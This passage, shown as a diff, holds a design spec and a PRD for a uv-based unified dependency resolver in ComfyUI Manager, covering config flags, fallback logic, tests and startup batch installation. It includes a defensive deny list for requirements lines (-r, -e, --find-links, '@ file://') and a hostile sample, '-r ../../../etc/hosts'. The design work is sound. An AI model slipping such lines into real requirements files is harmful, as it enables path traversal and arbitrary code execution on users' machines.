||||
calls `fix_broken()` in the snapshot restore exception handler (before
|
||||
`_run_unified_resolve()` is reached), per dec_7.
|
||||
- **Conflict attribution output**: When resolution fails and `result.lockfile.conflicts`
|
||||
is non-empty, `_run_unified_resolve()` cross-references conflict package names with
|
||||
`CollectedDeps.sources` to identify which node packs requested each conflicting package:
|
||||
- Normalization: both sources keys and conflict text apply `.lower().replace("-", "_")`
|
||||
- Word-boundary regex `(?<![a-z0-9_])pkg(?![a-z0-9_])` prevents false-positive prefix
|
||||
matches (e.g., `torch` does NOT match `torch_audio` or `torchvision`)
|
||||
- Output format: sorted by package name, each entry lists `pack_basename → pkg_spec`
|
||||
per requester (using `CollectedDeps.sources` tuple values `(pack_path, pkg_spec)`)
|
||||
|
||||
**Node pack discovery**: Uses `cmd_ctx.get_custom_nodes_paths()` → `collect_node_pack_paths()`,
|
||||
which is the CLI-native path resolution (respects `--user-directory` and `folder_paths`).
|
||||
|
||||
### 4.2 Configuration Addition (config.ini)
|
||||
|
||||
```ini
|
||||
[default]
|
||||
# Existing settings...
|
||||
use_unified_resolver = false # Enable unified dependency resolution
|
||||
```
|
||||
|
||||
### 4.3 Configuration Reading
|
||||
|
||||
Follows the existing `read_uv_mode()` / `use_uv` pattern:
|
||||
- `prestartup_script.py`: `read_unified_resolver_mode()` reads from `default_conf` → sets `manager_util.use_unified_resolver`
|
||||
- `manager_core.py`: `read_config()` / `write_config()` / `get_config()` include `use_unified_resolver` key
|
||||
- `read_config()` exception fallback must include `use_unified_resolver` key to prevent `KeyError` in `write_config()`
|
||||
|
||||
### 4.4 manager_util.py Extension
|
||||
|
||||
```python
|
||||
# manager_util.py
|
||||
use_unified_resolver = False # New global flag (separate from use_uv)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 5. Error Handling Strategy
|
||||
|
||||
```mermaid
|
||||
flowchart TD
|
||||
STARTUP["prestartup_script.py startup"]
|
||||
STARTUP --> CHK{use_unified_resolver?}
|
||||
CHK -->|No| SKIP_UDR["Skip → execute_lazy_install_script per-node pip"]
|
||||
|
||||
CHK -->|Yes| RAI["run_unified_resolver()"]
|
||||
RAI --> STALE["cleanup_stale_tmp()<br/>Clean stale temp dirs (>1 hour old)"]
|
||||
STALE --> UV_CHK{uv installed?}
|
||||
UV_CHK -->|No| UV_ERR["UvNotAvailableError<br/>→ Fallback: execute_lazy_install_script per-node pip"]
|
||||
|
||||
UV_CHK -->|Yes| CR["collect_requirements()<br/>(ALL installed node packs)"]
|
||||
CR --> CR_DIS[".disabled/ path → auto-skip"]
|
||||
CR --> CR_PARSE["Parse failure → skip node pack, continue"]
|
||||
CR --> CR_ENC["Encoding detection failure → assume UTF-8"]
|
||||
CR --> CR_DANGER["Dangerous pattern detected → reject line + log"]
|
||||
CR --> CR_DG["Downgrade blacklist → skip after version comparison"]
|
||||
|
||||
CR --> CL["compile_lockfile()"]
|
||||
CL --> CL_CONFLICT["Conflict → report + per-node pip fallback"]
|
||||
CL --> CL_TIMEOUT["TimeoutExpired 300s → per-node pip fallback"]
|
||||
CL --> CL_NOFILE["Lockfile not created → failure + fallback"]
|
||||
CL --> CL_TMP["Temp directory → finally block cleanup"]
|
||||
|
||||
CL -->|Success| IL["install_from_lockfile()"]
|
||||
IL --> IL_OK["Total success → parse installed/skipped"]
|
||||
IL --> IL_FAIL["Total failure → stderr + per-node pip fallback (atomic)"]
|
||||
IL --> IL_TIMEOUT["TimeoutExpired 600s → fallback"]
|
||||
|
||||
IL_OK --> PF["PIPFixer.fix_broken()<br/>Restore torch/opencv/frontend"]
|
||||
PF --> LAZY["execute_lazy_install_script()<br/>(install.py only, deps skipped)"]
|
||||
```
|
||||
|
||||
> **Fallback model**: On resolver failure at startup, `execute_lazy_install_script()` runs normally
|
||||
> (per-node pip install), providing the same behavior as if unified mode were disabled.
|
||||
|
||||
---
|
||||
|
||||
## 6. File Structure
|
||||
|
||||
### 6.1 New Files
|
||||
|
||||
```
|
||||
comfyui_manager/common/unified_dep_resolver.py # Main module (~350 lines, includes sanitization/downgrade logic)
|
||||
tests/test_unified_dep_resolver.py # Unit tests
|
||||
```
|
||||
|
||||
### 6.2 Modified Files
|
||||
|
||||
```
|
||||
comfyui_manager/glob/manager_core.py # Skip per-node pip in unified mode (2 execute_install_script locations)
|
||||
comfyui_manager/common/manager_util.py # Add use_unified_resolver flag
|
||||
comfyui_manager/prestartup_script.py # Config reading + startup batch resolver + execute_lazy_install_script modification
|
||||
```
|
||||
|
||||
> **Not modified**: `comfyui_manager/legacy/manager_core.py` (legacy paths retain existing pip behavior)
|
||||
|
||||
---
|
||||
|
||||
## 7. Dependencies
|
||||
|
||||
| Dependency | Purpose | Notes |
|
||||
|-----------|---------|-------|
|
||||
| `uv` | Dependency resolution and installation | Already included in project dependencies |
|
||||
| `cm_global` | pip_overrides, pip_blacklist, pip_downgrade_blacklist | Reuse existing global state (runtime dynamic assignment) |
|
||||
| `manager_util` | StrictVersion, get_installed_packages, use_unified_resolver flag | Reuse existing utilities |
|
||||
| `tempfile` | Temporary requirements files, mkdtemp | Standard library |
|
||||
| `subprocess` | uv process execution | Standard library |
|
||||
| `dataclasses` | Result data structures | Standard library |
|
||||
| `re` | Input sanitization, version spec parsing, credential redaction | Standard library |
|
||||
| `shutil` | uv lookup (`which`), temp directory cleanup | Standard library |
|
||||
| `time` | Stale temp file age calculation | Standard library |
|
||||
| `logging` | Per-step logging | Standard library |
|
||||
|
||||
No additional external dependencies.
|
||||
|
||||
---
|
||||
|
||||
## 8. Sequence Diagram
|
||||
|
||||
### Install Time + Startup Batch Resolution
|
||||
|
||||
```mermaid
|
||||
sequenceDiagram
|
||||
actor User
|
||||
participant MC as manager_core
|
||||
participant PS as prestartup_script
|
||||
participant UDR as UnifiedDepResolver
|
||||
participant UV as uv (CLI)
|
||||
|
||||
Note over User,MC: Install Time (immediate)
|
||||
User->>MC: Install node pack X
|
||||
MC->>MC: Git clone / download X
|
||||
MC->>MC: Skip per-node pip (unified mode)
|
||||
MC->>MC: Run X's install.py
|
||||
MC-->>User: Node pack installed (deps pending)
|
||||
|
||||
Note over User,UV: ComfyUI Restart
|
||||
User->>PS: Start ComfyUI
|
||||
PS->>PS: Check use_unified_resolver
|
||||
PS->>UDR: Create resolver (module scope)
|
||||
UDR->>UDR: collect_requirements()<br/>(ALL installed node packs)
|
||||
UDR->>UV: uv pip compile --output-file
|
||||
UV-->>UDR: pinned reqs.txt
|
||||
UDR->>UV: uv pip install -r
|
||||
UV-->>UDR: Install result
|
||||
UDR-->>PS: ResolveResult(success=True)
|
||||
PS->>PS: PIPFixer.fix_broken()
|
||||
PS->>PS: execute_lazy_install_script()<br/>(install.py only, deps skipped)
|
||||
PS-->>User: ComfyUI ready
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 9. Test Strategy
|
||||
|
||||
### 9.1 Unit Tests
|
||||
|
||||
| Test Target | Cases |
|
||||
|------------|-------|
|
||||
| `collect_requirements` | Normal parsing, empty file, blacklist filtering, comment handling, remap application |
|
||||
| `.disabled` filtering | Exclude node packs within `.disabled/` directory path (directory-based mechanism) |
|
||||
| Input sanitization | Reject lines with `-r`, `-e`, `--find-links`, `@ file://`, path separators |
|
||||
| `--index-url` / `--extra-index-url` separation | `package --index-url URL`, standalone `--index-url URL`, standalone `--extra-index-url URL`, `package --extra-index-url URL` → package spec + extra_index_urls separation |
|
||||
| Downgrade blacklist | Installed + lower version request → skip, not installed → pass, same/higher version → pass |
|
||||
| `compile_lockfile` | Normal compilation, conflict detection, TimeoutExpired, constraint application, --output-file verification |
|
||||
| Lockfile existence verification | Failure handling when file not created despite returncode==0 |
|
||||
| `extra_index_urls` passthrough | Verify `--extra-index-url` argument included in compile command |
|
||||
| `install_from_lockfile` | Normal install, total failure, TimeoutExpired |
|
||||
| Atomic model | On failure: installed=[], stderr populated |
|
||||
| `_get_uv_cmd` | Module uv, standalone uv, embedded python (`python_embeded`), not installed |
|
||||
| `_remap_package` | pip_overrides remapping, unregistered packages |
|
||||
| Blacklist | torch family, torchsde, custom blacklist |
|
||||
| Duplicate handling | Same package with multiple specs → all passed to uv |
|
||||
| Multiple paths | Collection from multiple custom_nodes paths |
|
||||
| `cm_global` defense | Default values used when `pip_blacklist` etc. not assigned |
|
||||
| Concurrency | Two resolver instances each use unique temp directories |
|
||||
| Credential redaction | `user:pass@host` URL masked in log output |
|
||||
| `_redact_url` | `://user:pass@host` → `://****@host` conversion, no-credential URL passthrough |
|
||||
| `cleanup_stale_tmp` | Delete stale dirs >1 hour, preserve recent dirs, ignore permission errors |
|
||||
| Downgrade operators | `<=`, `==`, `<`, `~=` blocked; `>=`, `>`, `!=` pass; no spec + installed → blocked |
|
||||
| `StrictVersion` comparison | Verify `manager_util.StrictVersion` is used (not `packaging.version`) |
|
||||
|
||||
### 9.2 Integration Tests
|
||||
|
||||
- End-to-end test in real uv environment
|
||||
- Existing pip fallback path test
|
||||
- config.ini setting toggle test
|
||||
- Environment integrity verification after PIPFixer call
|
||||
- lazy_mode scheduling behavior verification (Windows simulation)
|
||||
- `use_uv=False` + `use_unified_resolver=True` combination test
|
||||
- Large-scale dependency (50+ node packs) performance test
|
||||
|
||||
---
|
||||
|
||||
## 10. Implementation Order
|
||||
|
||||
1. **Phase 1**: Data classes and `collect_requirements` implementation + tests
|
||||
- PackageRequirement, CollectedDeps (including extra_index_urls) and other data classes
|
||||
- Blacklist/override filtering
|
||||
- **Downgrade blacklist** (version comparison logic included)
|
||||
- **Input sanitization** (-r, -e, @ file:// etc. rejection)
|
||||
- **`--index-url` / `--extra-index-url` separation handling** (package spec + extra_index_urls)
|
||||
- **`.disabled` node pack filtering**
|
||||
- Defensive cm_global access (getattr pattern)
|
||||
2. **Phase 2**: `compile_lockfile` implementation + tests
|
||||
- uv pip compile invocation
|
||||
- --output-file, --constraint, --python options
|
||||
- Conflict parsing logic
|
||||
3. **Phase 3**: `install_from_lockfile` implementation + tests
|
||||
- uv pip install -r invocation (NOT sync)
|
||||
- Install result parsing
|
||||
4. **Phase 4**: Integration — startup batch + install-time skip
|
||||
- `prestartup_script.py`: Module-scope startup batch resolver + `execute_lazy_install_script()` deps skip
|
||||
- `manager_core.py`: Skip per-node pip in 2 `execute_install_script()` locations
|
||||
- `manager_util.py`: `use_unified_resolver` flag
|
||||
- Config reading (`read_unified_resolver_mode()`, `read_config()`/`write_config()`)
|
||||
5. **Phase 5**: Integration tests + fallback verification + startup batch tests
|
||||
|
||||
---
|
||||
|
||||
## Appendix A: Existing Code Reference
|
||||
|
||||
> **Note**: Line numbers may shift as code changes, so references use symbol names (function/class names).
|
||||
> Use `grep -n` or IDE symbol search for exact locations.
|
||||
|
||||
### remap_pip_package Location (Code Duplication Exists)
|
||||
|
||||
```
|
||||
comfyui_manager/glob/manager_core.py — def remap_pip_package(pkg)
|
||||
comfyui_manager/prestartup_script.py — def remap_pip_package(pkg)
|
||||
```
|
||||
|
||||
Both reference `cm_global.pip_overrides` with identical logic.
|
||||
The unified resolver uses `cm_global.pip_overrides` directly to avoid adding more duplication.
|
||||
|
||||
### cm_global Global State
|
||||
|
||||
```python
|
||||
# Dynamically assigned in prestartup_script.py (NOT defined in cm_global.py!)
|
||||
cm_global.pip_blacklist = {'torch', 'torchaudio', 'torchsde', 'torchvision'} # set
|
||||
cm_global.pip_overrides = {} # dict, loaded from JSON
|
||||
cm_global.pip_downgrade_blacklist = [ # list
|
||||
'torch', 'torchaudio', 'torchsde', 'torchvision',
|
||||
'transformers', 'safetensors', 'kornia'
|
||||
]
|
||||
```
|
||||
|
||||
> **cm_cli path**: `cm_cli/__main__.py` also independently initializes these attributes.
|
||||
> If the resolver may be called from the CLI path, this initialization should also be verified.
|
||||
|
||||
### PIPFixer Call Pattern
|
||||
|
||||
```python
|
||||
# Within UnifiedManager.execute_install_script() method in manager_core.py:
|
||||
pip_fixer = manager_util.PIPFixer(
|
||||
manager_util.get_installed_packages(),
|
||||
context.comfy_path,
|
||||
context.manager_files_path
|
||||
)
|
||||
# ... (after installation)
|
||||
pip_fixer.fix_broken()
|
||||
```
|
||||
|
||||
The unified resolver does not call PIPFixer directly.
|
||||
The caller (execute_install_script) calls PIPFixer as part of the existing flow.
|
||||
|
||||
### is_blacklisted() Logic (Must Be Reproduced in Unified Resolver)
|
||||
|
||||
```python
|
||||
# manager_core.py — def is_blacklisted(name)
|
||||
# 1. Simple pip_blacklist membership check
|
||||
# 2. pip_downgrade_blacklist version comparison:
|
||||
# - Parse spec with regex r'([^<>!~=]+)([<>!~=]=?)([^ ]*)'
|
||||
# - match is None (no version spec) + installed → block
|
||||
# - Operator in ['<=', '==', '<', '~='] + installed version >= requested version → block
|
||||
# - Version comparison uses manager_util.StrictVersion (NOT packaging.version)
|
||||
```
|
||||
|
||||
The unified resolver's `_is_downgrade_blacklisted()` method faithfully reproduces this logic.
|
||||
It uses `manager_util.StrictVersion` instead of `packaging.version.parse()` to ensure consistency with existing behavior.
|
||||
|
||||
### Existing Code --index-url Handling (Asymmetric)
|
||||
|
||||
```python
|
||||
# Only exists in standalone function execute_install_script():
|
||||
if '--index-url' in package_name:
|
||||
s = package_name.split('--index-url')
|
||||
install_cmd = manager_util.make_pip_cmd(["install", s[0].strip(), '--index-url', s[1].strip()])
|
||||
|
||||
# UnifiedManager.execute_install_script() method does NOT have this handling
|
||||
```
|
||||
|
||||
The unified resolver unifies both paths for consistent handling via `_split_index_url()`.
|
||||
@@ -1,363 +0,0 @@
|
||||
# PRD: Unified Dependency Resolver
|
||||
|
||||
## 1. Overview
|
||||
|
||||
### 1.1 Background
|
||||
ComfyUI Manager currently installs each node pack's `requirements.txt` individually via `pip install`.
|
||||
This approach causes dependency conflicts where installing a new node pack can break previously installed node packs' dependencies.
|
||||
|
||||
**Current flow:**
|
||||
```mermaid
|
||||
graph LR
|
||||
A1[Install node pack A] --> A2[pip install A's deps] --> A3[Run install.py]
|
||||
B1[Install node pack B] --> B2[pip install B's deps] --> B3[Run install.py]
|
||||
B2 -.->|May break<br/>A's deps| A2
|
||||
```
|
||||
|
||||
### 1.2 Goal
|
||||
Implement a unified dependency installation module that uses `uv` to resolve all dependencies (installed node packs + new node packs) at once.
|
||||
|
||||
**New flow (unified resolver mode):**
|
||||
```mermaid
|
||||
graph TD
|
||||
subgraph "Install Time (immediate)"
|
||||
A1[User installs node pack X] --> A2[Git clone / download]
|
||||
A2 --> A3["Run X's install.py (if exists)"]
|
||||
A3 --> A4["Skip per-node pip install<br/>(deps deferred to restart)"]
|
||||
end
|
||||
|
||||
subgraph "ComfyUI Restart (startup batch)"
|
||||
B1[prestartup_script.py] --> B2[Collect ALL installed node packs' deps]
|
||||
B2 --> B3["uv pip compile → pinned requirements.txt"]
|
||||
B3 --> B4["uv pip install -r → Batch install"]
|
||||
B4 --> B5[PIPFixer environment correction]
|
||||
end
|
||||
```
|
||||
|
||||
> **Terminology**: In this document, "lockfile" refers to the **pinned requirements.txt** generated by `uv pip compile`.
|
||||
> This is different from the `uv.lock` (TOML format) generated by `uv lock`. We use a pip-compatible workflow.
|
||||
|
||||
### 1.3 Scope
|
||||
- Develop a new dedicated dependency resolution module
|
||||
- Opt-in activation from the existing install process
|
||||
- **Handles dependency resolution (deps install) only**. `install.py` execution is handled by existing logic
|
||||
|
||||
---
|
||||
|
||||
## 2. Constraints
|
||||
|
||||
| Item | Description |
|
||||
|------|-------------|
|
||||
| **uv required** | Only operates in environments where `uv` is available |
|
||||
| **Independent of `use_uv` flag** | `use_unified_resolver` is separate from the existing `use_uv` flag. Even if `use_uv=False`, setting `use_unified_resolver=True` attempts resolver activation. Auto-fallback if uv is not installed |
|
||||
| **Pre-validated list** | Input node pack list is assumed to be pre-verified for mutual dependency compatibility |
|
||||
| **Backward compatibility** | Existing pip-based install process is fully preserved (fallback) |
|
||||
| **Blacklist/overrides bypassed** | In unified mode, `pip_blacklist`, `pip_overrides`, `pip_downgrade_blacklist` are NOT applied (empty values passed). Constructor interface is preserved for future extensibility. `uv pip compile` handles all conflict resolution natively. **[DEFERRED]** Reading actual values from `cm_global` at startup is deferred to a future version — v1 always passes empty values |
|
||||
| **Multiple custom_nodes paths** | Supports all paths returned by `folder_paths.get_folder_paths('custom_nodes')` |
|
||||
| **Scope of application** | Batch resolver runs at **module scope** in `prestartup_script.py` (unconditionally when enabled, independent of `install-scripts.txt` existence). The 2 `execute_install_script()` locations skip per-node pip install when unified mode is active (deps deferred to restart). `execute_lazy_install_script()` is also modified to skip per-node pip install in unified mode. Other install paths such as `install_manager_requirements()`, `pip_install()` are outside v1 scope (future extension) |
|
||||
| **Legacy module** | `comfyui_manager/legacy/manager_core.py` is excluded from modification. Legacy paths retain existing pip behavior |
|
||||
|
||||
---
|
||||
|
||||
## 3. Functional Requirements
|
||||
|
||||
### FR-1: Node Pack List and Base Dependency Input
|
||||
|
||||
**Input:**
|
||||
- Node pack list (fullpath list of installed + to-be-installed node packs)
|
||||
- Base dependencies (ComfyUI's `requirements.txt` and `manager_requirements.txt`)
|
||||
|
||||
**Behavior:**
|
||||
- Validate each node pack path
|
||||
- Exclude disabled (`.disabled`) node packs
|
||||
- Detection criteria: Existence of `custom_nodes/.disabled/{node_pack_name}` **directory**
|
||||
- Existing mechanism: Disabling a node pack **moves** it from `custom_nodes/` to `custom_nodes/.disabled/` (does NOT create a `.disabled` file inside the node pack)
|
||||
- At resolver input time, disabled node packs should already be absent from `custom_nodes/`, so normally they won't be in `node_pack_paths`
|
||||
- Defensively exclude any node pack paths that are within the `.disabled` directory
|
||||
- Base dependencies are treated as constraints
|
||||
- Traverse all paths from `folder_paths.get_folder_paths('custom_nodes')`
|
||||
|
||||
**`cm_global` runtime dependencies:**
|
||||
- `cm_global.pip_overrides`, `pip_blacklist`, `pip_downgrade_blacklist` are dynamically assigned during `prestartup_script.py` execution
|
||||
- In unified mode, these are **not applied** — empty values are passed to the resolver constructor
|
||||
- The constructor interface accepts these parameters for future extensibility (defaults to empty when `None`)
|
||||
|
||||
### FR-2: Dependency List Extraction
|
||||
|
||||
**Behavior:**
|
||||
- Parse `requirements.txt` from each node pack directory
|
||||
- Encoding: Use `robust_readlines()` pattern (`chardet` detection, assumes UTF-8 if not installed)
|
||||
- Package name remapping (constructor accepts `overrides` dict — **empty in v1**, interface preserved for extensibility)
|
||||
- Blacklist package filtering (constructor accepts `blacklist` set — **empty in v1**, uv handles torch etc. natively)
|
||||
- Downgrade blacklist filtering (constructor accepts `downgrade_blacklist` list — **empty in v1**)
|
||||
- **Note**: In unified mode, `uv pip compile` resolves all version conflicts natively. The blacklist/overrides/downgrade_blacklist mechanisms from the existing pip flow are bypassed
|
||||
- Strip comments (`#`) and blank lines
|
||||
- **Input sanitization** (see below)
|
||||
- Separate handling of `--index-url` entries (see below)
|
||||
|
||||
**Input sanitization:**
|
||||
- Requirements lines matching the following patterns are **rejected and logged** (security defense):
|
||||
- `-r`, `--requirement` (recursive include → path traversal risk)
|
||||
- `-e`, `--editable` (VCS/local path install → arbitrary code execution risk)
|
||||
- `-c`, `--constraint` (external constraint file injection)
|
||||
- `--find-links`, `-f` (external package source specification)
|
||||
- `@ file://` (local file reference → path traversal risk)
|
||||
- Package names containing path separators (`/`, `\`)
|
||||
- Allowed items: Package specs (`name>=version`), specs with `--index-url`, environment markers (containing `;`)
|
||||
- Rejected lines are recorded in the `skipped` list with reason
|
||||
|
||||
**`--index-url` handling:**
|
||||
- Existing code (standalone function `execute_install_script()`) parses `package_name --index-url URL` format for special handling
|
||||
- **Note**: The class method `UnifiedManager.execute_install_script()` does NOT have this handling (asymmetric)
|
||||
- The unified resolver **unifies both paths** for consistent handling:
|
||||
- Package spec → added to the general dependency list
|
||||
- `--extra-index-url URL` → passed as `uv pip compile` argument
|
||||
- Separated index URLs are collected in `CollectedDeps.extra_index_urls`
|
||||
- **Credential redaction**: Authentication info (`user:pass@`) in index URLs is masked during logging
|
||||
|
||||
**Duplicate handling strategy:**
|
||||
- No deduplication is performed directly
|
||||
- Different version specs of the same package are **all passed as-is** to uv
|
||||
- `uv pip compile` handles version resolution (uv determines the optimal version)
|
||||
|
||||
**Output:**
|
||||
- Unified dependency list (tracked by source node pack)
|
||||
- Additional index URL list
|
||||
|
||||
### FR-3: uv pip compile Execution
|
||||
|
||||
**Behavior:**
|
||||
- Generate temporary requirements file from the collected dependency list
|
||||
- Execute `uv pip compile` to produce a pinned requirements.txt
|
||||
- `--output-file` (required): Specify output file (outputs to stdout only if not specified)
|
||||
- `--constraint`: Pass base dependencies as constraints
|
||||
- `--python`: Current Python interpreter path
|
||||
- `--extra-index-url`: Additional index URLs collected from FR-2 (multiple allowed)
|
||||
- Resolve for the current platform (platform-specific results)
|
||||
|
||||
**Error handling:**
|
||||
- Return conflict package report when resolution fails
|
||||
- Timeout handling (300s): Explicitly catch `subprocess.TimeoutExpired`, terminate child process, then fallback
|
||||
- Lockfile output file existence verification: Confirm file was actually created even when `returncode == 0`
|
||||
- Temp file cleanup: Guaranteed in `finally` block. Includes stale temp file cleanup logic at next execution for abnormal termination (SIGKILL) scenarios
|
||||
|
||||
**Output:**
|
||||
- pinned requirements.txt (file with all packages pinned to exact versions)
|
||||
|
||||
### FR-4: Pinned Requirements-based Dependency Installation
|
||||
|
||||
**Behavior:**
|
||||
- Execute `uv pip install -r <pinned-requirements.txt>`
|
||||
- **Do NOT use `uv pip sync`**: sync deletes packages not in the lockfile, risking removal of torch, ComfyUI's own dependencies, etc.
|
||||
- Already-installed packages at the same version are skipped (default uv behavior)
|
||||
- Log installation results
|
||||
|
||||
**Error handling:**
|
||||
- `uv pip install -r` is an **atomic operation** (all-or-nothing)
|
||||
- On total failure: Parse stderr for failure cause report → fallback to existing pip
|
||||
- **No partial failure report** (not possible due to uv's behavior)
|
||||
- `InstallResult`'s `installed`/`skipped` fields are populated by parsing uv stdout; `stderr` records failure cause (no separate `failed` field needed due to atomic model)
|
||||
|
||||
### FR-5: Post-install Environment Correction
|
||||
|
||||
**Behavior:**
|
||||
- Call `PIPFixer.fix_broken()` for environment integrity correction
|
||||
- Restore torch version (when change detected)
|
||||
- Fix OpenCV conflicts
|
||||
- Restore comfyui-frontend-package
|
||||
- Restore packages based on `pip_auto_fix.list`
|
||||
- **This step is already performed in the existing `execute_install_script()` flow, so the unified resolver itself doesn't need to call it**
|
||||
- However, an optional call option is provided for cases where the resolver is invoked independently outside the existing flow
|
||||
|
||||
### FR-6: install.py Execution (Existing Flow Maintained)
|
||||
|
||||
**Behavior:**
|
||||
- The unified resolver handles deps installation **at startup time only**
|
||||
- `install.py` execution is handled by the existing `execute_install_script()` flow and runs **immediately** at install time
|
||||
- Deps are deferred to startup batch resolution; `install.py` runs without waiting for deps
|
||||
|
||||
**Control flow specification (unified mode active):**
|
||||
- `execute_install_script()`: **skip** the `requirements.txt`-based individual pip install loop entirely (deps will be resolved at next restart)
|
||||
- `install.py` execution runs **immediately** as before
|
||||
- At next ComfyUI restart: `prestartup_script.py` runs the unified resolver for all installed node packs
|
||||
|
||||
**Control flow specification (unified mode inactive / fallback):**
|
||||
- Existing pip install loop runs as-is (no change)
|
||||
- `install.py` execution runs **immediately** as before
|
||||
|
||||
### FR-7: Startup Batch Resolution
|
||||
|
||||
**Behavior:**
|
||||
- When `use_unified_resolver=True`, **all dependency resolution is deferred to ComfyUI startup**
|
||||
- At install time: node pack itself is installed (git clone, etc.) and `install.py` runs immediately, but `requirements.txt` deps are **not** installed per-request
|
||||
- At startup time: `prestartup_script.py` runs the unified resolver once for all installed node packs
|
||||
|
||||
**Startup execution flow (in `prestartup_script.py`):**
|
||||
1. At **module scope** (before `execute_startup_script()` gate): check `manager_util.use_unified_resolver` flag
|
||||
2. If enabled: collect all installed node pack paths, read base requirements from `comfy_path`
|
||||
3. Create `UnifiedDepResolver` with empty blacklist/overrides/downgrade_blacklist (uv handles resolution natively)
|
||||
4. Call `resolve_and_install()` — collects all deps → compile → install in one batch
|
||||
5. On success: set `_unified_resolver_succeeded = True`, skip per-node pip in `execute_lazy_install_script()`
|
||||
6. On failure: log warning, `execute_lazy_install_script()` falls back to existing per-node pip install
|
||||
7. **Note**: Runs unconditionally when enabled, independent of `install-scripts.txt` existence
|
||||
|
||||
**`execute_install_script()` behavior in unified mode:**
|
||||
- Skip the `requirements.txt` pip install loop entirely (deps will be handled at restart)
|
||||
- `install.py` execution still runs immediately
|
||||
|
||||
**`execute_lazy_install_script()` behavior in unified mode:**
|
||||
- Skip the `requirements.txt` pip install loop (already handled by startup batch resolver)
|
||||
- `install.py` execution still runs
|
||||
|
||||
**Windows-specific behavior:**
|
||||
- Windows lazy install path also benefits from startup batch resolution
|
||||
- `try_install_script()` defers to `reserve_script()` as before for non-`instant_execution=True` installs
|
||||
|
||||
---
|
||||
|
||||
## 4. Non-functional Requirements
|
||||
|
||||
| Item | Requirement |
|
||||
|------|-------------|
|
||||
| **Performance** | Equal to or faster than existing individual installs |
|
||||
| **Stability** | Must not break the existing environment |
|
||||
| **Logging** | Log progress and results at each step (details below) |
|
||||
| **Error recovery** | Fallback to existing pip method on failure |
|
||||
| **Testing** | Unit test coverage above 80% |
|
||||
| **Security** | requirements.txt input sanitization (see FR-2), credential log redaction, subprocess list-form invocation |
|
||||
| **Concurrency** | Prevent lockfile path collisions on concurrent install requests. Use process/thread-unique suffixes or temp directories |
|
||||
| **Temp files** | Guarantee temp file cleanup on both normal and abnormal termination. Clean stale files on next execution |
|
||||
|
||||
### Logging Requirements
|
||||
|
||||
| Step | Log Level | Content |
|
||||
|------|-----------|---------|
|
||||
| Resolver start | `INFO` | Node pack count, total dependency count, mode (unified/pip) |
|
||||
| Dependency collection | `INFO` | Collection summary (collected N, skipped N, sources N) |
|
||||
| Dependency collection | `DEBUG` | Per-package collection/skip/remap details |
|
||||
| `--index-url` detection | `INFO` | Detected additional index URL list |
|
||||
| uv compile start | `INFO` | Execution command (excluding sensitive info) |
|
||||
| uv compile success | `INFO` | Pinned package count, elapsed time |
|
||||
| uv compile failure | `WARNING` | Conflict details, fallback transition notice |
|
||||
| Install start | `INFO` | Number of packages to install |
|
||||
| Install success | `INFO` | Installed/skipped/failed count summary, elapsed time |
|
||||
| Install failure | `WARNING` | Failed package list, fallback transition notice |
|
||||
| Fallback transition | `WARNING` | Transition reason, original error message |
|
||||
| Overall completion | `INFO` | Final result summary (success/fallback/failure) |
|
||||
|
||||
> **Log prefix**: All logs use `[UnifiedDepResolver]` prefix to distinguish from existing pip install logs
|
||||
|
||||
---
|
||||
|
||||
## 5. Usage Scenarios
|
||||
|
||||
### Scenario 1: Single Node Pack Installation (unified mode)
|
||||
```
|
||||
User requests installation of node pack X
|
||||
→ Git clone / download node pack X
|
||||
→ Run X's install.py (if exists) — immediately
|
||||
→ Skip per-node pip install (deps deferred)
|
||||
→ User restarts ComfyUI
|
||||
→ prestartup_script.py: Collect deps from ALL installed node packs (A,B,C,X)
|
||||
→ uv pip compile resolves fully compatible versions
|
||||
→ uv pip install -r for batch installation
|
||||
→ PIPFixer environment correction
|
||||
```
|
||||
|
||||
### Scenario 2: Multi Node Pack Batch Installation (unified mode)
|
||||
```
|
||||
User requests installation of node packs X, Y, Z
|
||||
→ Each node pack: git clone + install.py — immediately
|
||||
→ Per-node pip install skipped for all
|
||||
→ User restarts ComfyUI
|
||||
→ prestartup_script.py: Collect deps from ALL installed node packs (including X,Y,Z)
|
||||
→ Single uv pip compile → single uv pip install -r
|
||||
→ PIPFixer environment correction
|
||||
```
|
||||
|
||||
### Scenario 3: Dependency Resolution Failure (Edge Case)
|
||||
```
|
||||
Even pre-validated lists may fail due to uv version differences or platform issues
|
||||
→ uv pip compile failure → return conflict report
|
||||
→ Display conflict details to user
|
||||
→ Auto-execute existing pip fallback
|
||||
```
|
||||
|
||||
### Scenario 4: uv Not Installed
|
||||
```
|
||||
uv unavailable detected → auto-fallback to existing pip method
|
||||
→ Display uv installation recommendation to user
|
||||
```
|
||||
|
||||
### Scenario 5: Windows Lazy Installation (unified mode)
|
||||
```
|
||||
Node pack installation requested on Windows
|
||||
→ Node pack install deferred to startup (existing lazy mechanism)
|
||||
→ On next ComfyUI startup: unified resolver runs first (batch deps)
|
||||
→ execute_lazy_install_script() skips per-node pip (already resolved)
|
||||
→ install.py still runs per node pack
|
||||
```
|
||||
|
||||
### Scenario 6: Malicious/Non-standard requirements.txt
|
||||
```
|
||||
Node pack's requirements.txt contains `-r ../../../etc/hosts` or `-e git+https://...`
|
||||
→ Sanitization filter rejects the line
|
||||
→ Log rejection reason and continue processing remaining valid packages
|
||||
→ Notify user of rejected item count
|
||||
```
|
||||
|
||||
### Scenario 7: Concurrent Install Requests (unified mode)
|
||||
```
|
||||
User requests installation of node packs A and B nearly simultaneously from UI
|
||||
→ Each request: git clone + install.py immediately, deps skipped
|
||||
→ On restart: single unified resolver run handles both A and B deps together
|
||||
→ No concurrency issue (single batch at startup)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 6. Success Metrics
|
||||
|
||||
| Metric | Target |
|
||||
|--------|--------|
|
||||
| Dependency conflict reduction | 90%+ reduction compared to current |
|
||||
| Install success rate | 99%+ (for compatibility-verified lists) |
|
||||
| Performance | Equal to or better than existing individual installs |
|
||||
| Adoption rate | 50%+ of eligible users |
|
||||
|
||||
---
|
||||
|
||||
## 7. Future Extensions
|
||||
|
||||
- ~~**`cm_global` integration** [DONE]: All `--uv-compile` CLI commands (`uv-compile`, `install`, `reinstall`, `update`, `fix`, `restore-snapshot`, `restore-dependencies`, `install-deps`) pass real `cm_global` values. Startup path (`prestartup_script.py`) still passes empty by design~~
|
||||
- Lockfile caching: Reuse for identical node pack configurations
|
||||
- Pre-install dependency conflict validation API: Check compatibility before installation
|
||||
